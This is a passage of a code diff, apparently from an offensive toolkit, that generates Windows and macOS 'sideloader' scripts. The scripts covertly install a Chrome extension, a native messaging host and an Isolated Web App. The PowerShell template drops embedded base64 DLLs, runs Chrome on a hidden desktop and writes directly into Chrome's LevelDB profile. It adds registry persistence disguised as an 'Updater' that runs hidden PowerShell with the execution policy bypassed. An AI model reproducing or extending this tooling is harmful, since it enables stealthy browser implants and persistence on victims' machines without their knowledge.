# IWA Folder: {self.iwa_folder_name}
|
||||
|
||||
$env:APP_NAME = "{self.app_name}"
|
||||
|
||||
$bundleData = @"
|
||||
{self.bundle_data}
|
||||
"@
|
||||
|
||||
# Extract the ProcessHelper.dll to the current directory
|
||||
$assemblyName = "ProcessHelper"
|
||||
$assemblyBytesBase64 = @"
|
||||
{dll_data}
|
||||
"@
|
||||
|
||||
# RegHelper.dll data for registry operations
|
||||
$regHelperAssemblyBytesBase64 = @"
|
||||
{reghelper_dll_data}
|
||||
"@
|
||||
|
||||
# Create Directory at $appPath
|
||||
$appPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
New-Item -Path $appPath -ItemType Directory -Force
|
||||
|
||||
# Include the module loader script
|
||||
{module_loader_script}
|
||||
|
||||
# Use a shared desktop name for both Chrome instances
|
||||
$sharedDesktopName = "Desktop_{desktop_guid}"
|
||||
Write-Host "Using shared hidden desktop: $sharedDesktopName"
|
||||
|
||||
# Call the function to decode and load the ProcessHelper module
|
||||
$dllPath = Join-Path $appPath "ProcessHelper.dll"
|
||||
$moduleLoaded = Decode-And-Load-Module -assemblyBytesBase64 $assemblyBytesBase64 -dllPath $dllPath
|
||||
|
||||
if (-not $moduleLoaded) {{
|
||||
Write-Error "Failed to load the ProcessHelper module. Exiting."
|
||||
exit 1
|
||||
}}
|
||||
|
||||
# Decode and load the RegHelper module
|
||||
$regHelperDllPath = Join-Path $appPath "RegHelper.dll"
|
||||
$regHelperModuleLoaded = Decode-And-Load-Module -assemblyBytesBase64 $regHelperAssemblyBytesBase64 -dllPath $regHelperDllPath
|
||||
|
||||
if (-not $regHelperModuleLoaded) {{
|
||||
Write-Error "Failed to load the RegHelper module. Exiting."
|
||||
exit 1
|
||||
}}
|
||||
|
||||
# First initialize Chrome with IWA settings
|
||||
{init_script}
|
||||
|
||||
# Then handle LevelDB operations
|
||||
{leveldb_script}
|
||||
|
||||
# Move ProcessHelper.dll to the app directory
|
||||
Move-Item -Path $dllPath -Destination $appPath
|
||||
|
||||
# Move RegHelper.dll to the app directory
|
||||
Move-Item -Path $regHelperDllPath -Destination $appPath
|
||||
|
||||
# Override Initialize-IWADirectory to use embedded bundle data
|
||||
function Initialize-IWADirectory {{
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$AppInternalName
|
||||
)
|
||||
|
||||
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
$iwaDir = Join-Path $userDataDir "Default\\iwa\\$AppInternalName"
|
||||
|
||||
# Create directories if they don't exist
|
||||
New-Item -ItemType Directory -Force -Path $iwaDir | Out-Null
|
||||
|
||||
# Write bundle data
|
||||
$bundleBytes = [Convert]::FromBase64String($bundleData)
|
||||
[System.IO.File]::WriteAllBytes((Join-Path $iwaDir "main.swbn"), $bundleBytes)
|
||||
}}
|
||||
|
||||
# Initialize IWA directory
|
||||
Initialize-IWADirectory -AppInternalName "{self.iwa_folder_name}"
|
||||
|
||||
# Write LevelDB entry
|
||||
$logPath = Get-LevelDBLogFilePath
|
||||
Write-Output "Log Path: $logPath"
|
||||
Write-LevelDBEntry -FilePath $logPath -SequenceNumber 99 -Key "web_apps-dt-{self.app_id}" -ValueHex "{self.protobuf_hex}"
|
||||
|
||||
Write-Output "Launching Chrome for IWA ({self.app_id}) at Path $env:CHROME_PATH"
|
||||
$env:IWA_APP_ID = "{self.app_id}"
|
||||
|
||||
# Prepare the start script with proper variable handling
|
||||
$startScriptPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
$startScriptPath = Join-Path $startScriptPath "startIWAApp.ps1"
|
||||
|
||||
# Create the script content as a simple string
|
||||
$startScriptContent = "# Environment variables for IWA app `n"
|
||||
$startScriptContent += "`$env:CHROME_PATH = `"$env:CHROME_PATH`" `n"
|
||||
$startScriptContent += "`$env:USER_DATA_DIR = `"$env:USER_DATA_DIR`" `n"
|
||||
$startScriptContent += "`$env:APP_NAME = `"$env:APP_NAME`" `n"
|
||||
$startScriptContent += "`$env:IWA_APP_ID = `"$env:IWA_APP_ID`" `n"
|
||||
$startScriptContent += "`$sharedDesktopName = `"$sharedDesktopName`" `n"
|
||||
$startScriptContent += "`n# Start script content`n"
|
||||
$startScriptContent += @'
|
||||
{start_script}
|
||||
'@
|
||||
|
||||
Write-Host "Writing start script to: $startScriptPath"
|
||||
[System.IO.File]::WriteAllText($startScriptPath, $startScriptContent)
|
||||
|
||||
# Now run the start script
|
||||
Write-Host "Running the IWA app..."
|
||||
& $startScriptPath
|
||||
|
||||
# Setup persistence using the RegHelper module
|
||||
Write-Host "`nSetting up persistence using copy-and-replace registry strategy..." -ForegroundColor Cyan
|
||||
|
||||
# Define persistence parameters
|
||||
$persistenceValueName = "{self.app_name}.Updater"
|
||||
$persistenceValueData = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$startScriptPath`""
|
||||
|
||||
# Execute the persistence setup using the RegHelper module
|
||||
try {{
|
||||
Invoke-RegistryPersistence -PersistenceValueName $persistenceValueName -PersistenceValueData $persistenceValueData
|
||||
}} catch {{
|
||||
Write-Error "Failed to setup persistence: $($_.Exception.Message)"
|
||||
throw
|
||||
}}
|
||||
"""
|
||||
|
||||
with open(output_path, 'w') as f:
|
||||
f.write(script)
|
||||
|
||||
print(f"\nGenerated Windows sideloader script: {output_path}")
|
||||
print(f"Using shared desktop name: Desktop_{desktop_guid}")
|
||||
@@ -196,8 +196,9 @@ cp ./PAINTBUCKET/ContentScriptInject/*.js ./output/extension/
|
||||
GOOS=js GOARCH=wasm go build -buildvcs=false -trimpath -ldflags "-s -w" -o ./output/extension/wasm/main.wasm ./HOTWHEELS/wasm/content-script/
|
||||
GOOS=js GOARCH=wasm go build -buildvcs=false -trimpath -ldflags "-s -w -X main.EXTENSION_NAME=$APP_NAME" -o output/extension/wasm/background.wasm ./HOTWHEELS/wasm/background-script/
|
||||
|
||||
# Step 4c: build the native messaging host
|
||||
# Step 4c: build the native messaging hosts
|
||||
dotnet build -c Release -r win-x64 -o output/extension/ ./DOORKNOB/ExtensionSideloader/dotnet/NativeAppHost/NativeAppHost.csproj
|
||||
cp ./DOORKNOB/ExtensionSideloader/macos/NativeAppHost.sh ./output/extension/NativeAppHost.sh
|
||||
|
||||
# Step 4d: Build our support dotnet libraries
|
||||
cd "$PROJECT_ROOT/DOORKNOB/IWASideloader/RegHelper"
|
||||
@@ -208,16 +209,17 @@ dotnet build -c Release -r win-x64 .
|
||||
# Step 5: Create sideloaders
|
||||
echo "Step 5: Creating sideloaders"
|
||||
|
||||
# Step 5a: Create IWA Sideloader
|
||||
# Step 5a: Create IWA Sideloaders
|
||||
cd "$PROJECT_ROOT"
|
||||
|
||||
echo "Using APP_NAME: $APP_NAME"
|
||||
|
||||
# Create sideloader with appropriate arguments
|
||||
python3 ./DOORKNOB/IWASideloader/createSideloader.py ./output/iwa/app.swbn --appname="$APP_NAME" --output=./output/iwa-sideloader.sh --platform macos
|
||||
python3 ./DOORKNOB/IWASideloader/createSideloader.py ./output/iwa/app.swbn --appname="$APP_NAME" --output=./output/iwa-sideloader.ps1
|
||||
|
||||
# Step 5b: Create Chrome Sideloader
|
||||
python3 ./DOORKNOB/ExtensionSideloader/powershell/build_sideloader.py ./output/extension "%LOCALAPPDATA%\Google\\$APP_NAME" --output=./output/extension-sideloader.ps1
|
||||
# Step 5b: Create Chrome Sideloaders
|
||||
python3 ./DOORKNOB/ExtensionSideloader/build_sideloader.py ./output/extension "\$HOME/Library/Application Support/Google/$APP_NAME" --output=./output/extension-sideloader.sh --os macos
|
||||
python3 ./DOORKNOB/ExtensionSideloader/build_sideloader.py ./output/extension "%LOCALAPPDATA%\Google\\$APP_NAME" --output=./output/extension-sideloader.ps1 --os windows
|
||||
|
||||
# Step 5c: Create combined sideloader script:
|
||||
echo "Creating combined sideloader script..."
|
||||
@@ -294,6 +296,128 @@ EOF
|
||||
|
||||
echo "Combined sideloader script created successfully"
|
||||
|
||||
# Step 5d: Create combined macOS sideloader script
|
||||
echo "Creating combined macOS sideloader script..."
|
||||
|
||||
# Create the combined macOS script header with unified parameters
|
||||
cat > ./output/sideloader-mac.sh << 'EOF'
|
||||
#!/bin/bash
|
||||
|
||||
# Combined Chrome Extension and IWA Sideloader Script for macOS
|
||||
# This script can install Chrome Extension, IWA, or both
|
||||
|
||||
# Default parameters
|
||||
MODE="both" # "extension", "iwa", or "both"
|
||||
APP_NAME="ACTUAL_APP_NAME_PLACEHOLDER"
|
||||
EXTENSION_INSTALL_DIR="$HOME/Library/Application Support/Google/ACTUAL_APP_NAME_PLACEHOLDER"
|
||||
EXTENSION_DESCRIPTION="Chrome Extension"
|
||||
INSTALL_NATIVE_MESSAGING_HOST="true"
|
||||
FORCE_RESTART_CHROME="true"
|
||||
|
||||
# Parse command line arguments
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case $1 in
|
||||
--mode)
|
||||
MODE="$2"
|
||||
shift 2
|
||||
;;
|
||||
--app-name)
|
||||
APP_NAME="$2"
|
||||
shift 2
|
||||
;;
|
||||
--extension-dir)
|
||||
EXTENSION_INSTALL_DIR="$2"
|
||||
shift 2
|
||||
;;
|
||||
--description)
|
||||
EXTENSION_DESCRIPTION="$2"
|
||||
shift 2
|
||||
;;
|
||||
--install-native-host)
|
||||
INSTALL_NATIVE_MESSAGING_HOST="$2"
|
||||
shift 2
|
||||
;;
|
||||
--force-restart)
|
||||
FORCE_RESTART_CHROME="$2"
|
||||
shift 2
|
||||
;;
|
||||
*)
|
||||
echo "Unknown option: $1"
|
||||
echo "Usage: $0 [--mode extension|iwa|both] [--app-name NAME] [--extension-dir DIR] [--description DESC] [--install-native-host true|false] [--force-restart true|false]"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
echo "Combined Chrome Extension and IWA Sideloader for macOS"
|
||||
echo "Mode: $MODE"
|
||||
echo "APP_NAME: '$APP_NAME'"
|
||||
|
||||
EOF
|
||||
|
||||
# Replace the placeholder with actual APP_NAME
|
||||
sed -i.tmp "s/ACTUAL_APP_NAME_PLACEHOLDER/$ACTUAL_APP_NAME/g" ./output/sideloader-mac.sh
|
||||
rm -f ./output/sideloader-mac.sh.tmp
|
||||
|
||||
# Add extension sideloader functions (remove argument parsing and execution logic)
|
||||
echo "" >> ./output/sideloader-mac.sh
|
||||
echo "# === EXTENSION SIDELOADER FUNCTIONS ===" >> ./output/sideloader-mac.sh
|
||||
|
||||
# Extract extension functions, removing the argument parsing, parameter definitions, and main execution
|
||||
sed '/^# Parse command line arguments/,/^done$/d; /^# Default parameters/,/^$/d; /^# Run main function only/,$d' ./output/extension-sideloader.sh >> ./output/sideloader-mac.sh
|
||||
|
||||
# Add IWA sideloader content (wrap in function)
|
||||
echo "" >> ./output/sideloader-mac.sh
|
||||
echo "# === IWA SIDELOADER FUNCTIONS ===" >> ./output/sideloader-mac.sh
|
||||
echo "install_iwa() {" >> ./output/sideloader-mac.sh
|
||||
|
||||
# Extract the IWA installation logic (skip the shebang and initial comments, but keep everything else including the APP_NAME export)
|
||||
# We need to handle HERE documents specially - they can't be indented
|
||||
sed '1,/^set -e$/d' ./output/iwa-sideloader.sh | while IFS= read -r line; do
|
||||
# Don't indent HERE document delimiters (lines that are just EOF, STARTEOF, PLISTEOF, etc.)
|
||||
if [[ "$line" =~ ^[A-Z]*EOF$ ]] || [[ "$line" =~ ^\'[A-Z]*EOF\'$ ]]; then
|
||||
echo "$line"
|
||||
else
|
||||
echo " $line"
|
||||
fi
|
||||
done >> ./output/sideloader-mac.sh
|
||||
|
||||
echo "}" >> ./output/sideloader-mac.sh
|
||||
|
||||
# Add main execution logic
|
||||
cat >> ./output/sideloader-mac.sh << 'EOF'
|
||||
|
||||
# === MAIN EXECUTION LOGIC ===
|
||||
|
||||
# Resolve the ExtensionInstallDir with APP_NAME substitution
|
||||
EXTENSION_INSTALL_DIR=$(echo "$EXTENSION_INSTALL_DIR" | sed "s/ACTUAL_APP_NAME_PLACEHOLDER/$APP_NAME/g")
|
||||
|
||||
if [[ "$MODE" == "extension" || "$MODE" == "both" ]]; then
|
||||
echo ""
|
||||
echo "Installing Chrome Extension..."
|
||||
echo "Extension install directory: $EXTENSION_INSTALL_DIR"
|
||||
|
||||
# Call the extension installation function
|
||||
main
|
||||
fi
|
||||
|
||||
if [[ "$MODE" == "iwa" || "$MODE" == "both" ]]; then
|
||||
echo ""
|
||||
echo "Installing IWA..."
|
||||
|
||||
# Call the IWA installation function
|
||||
install_iwa
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "Installation completed successfully!"
|
||||
EOF
|
||||
|
||||
# Make the script executable
|
||||
chmod +x ./output/sideloader-mac.sh
|
||||
|
||||
echo "Combined macOS sideloader script created successfully"
|
||||
|
||||
# Step 6: Configure Relay Agent Webapp:
|
||||
echo "Step 6: Configuring Relay Agent Webapp"
|
||||
|
||||
|
||||
Reference in New Issue
Block a user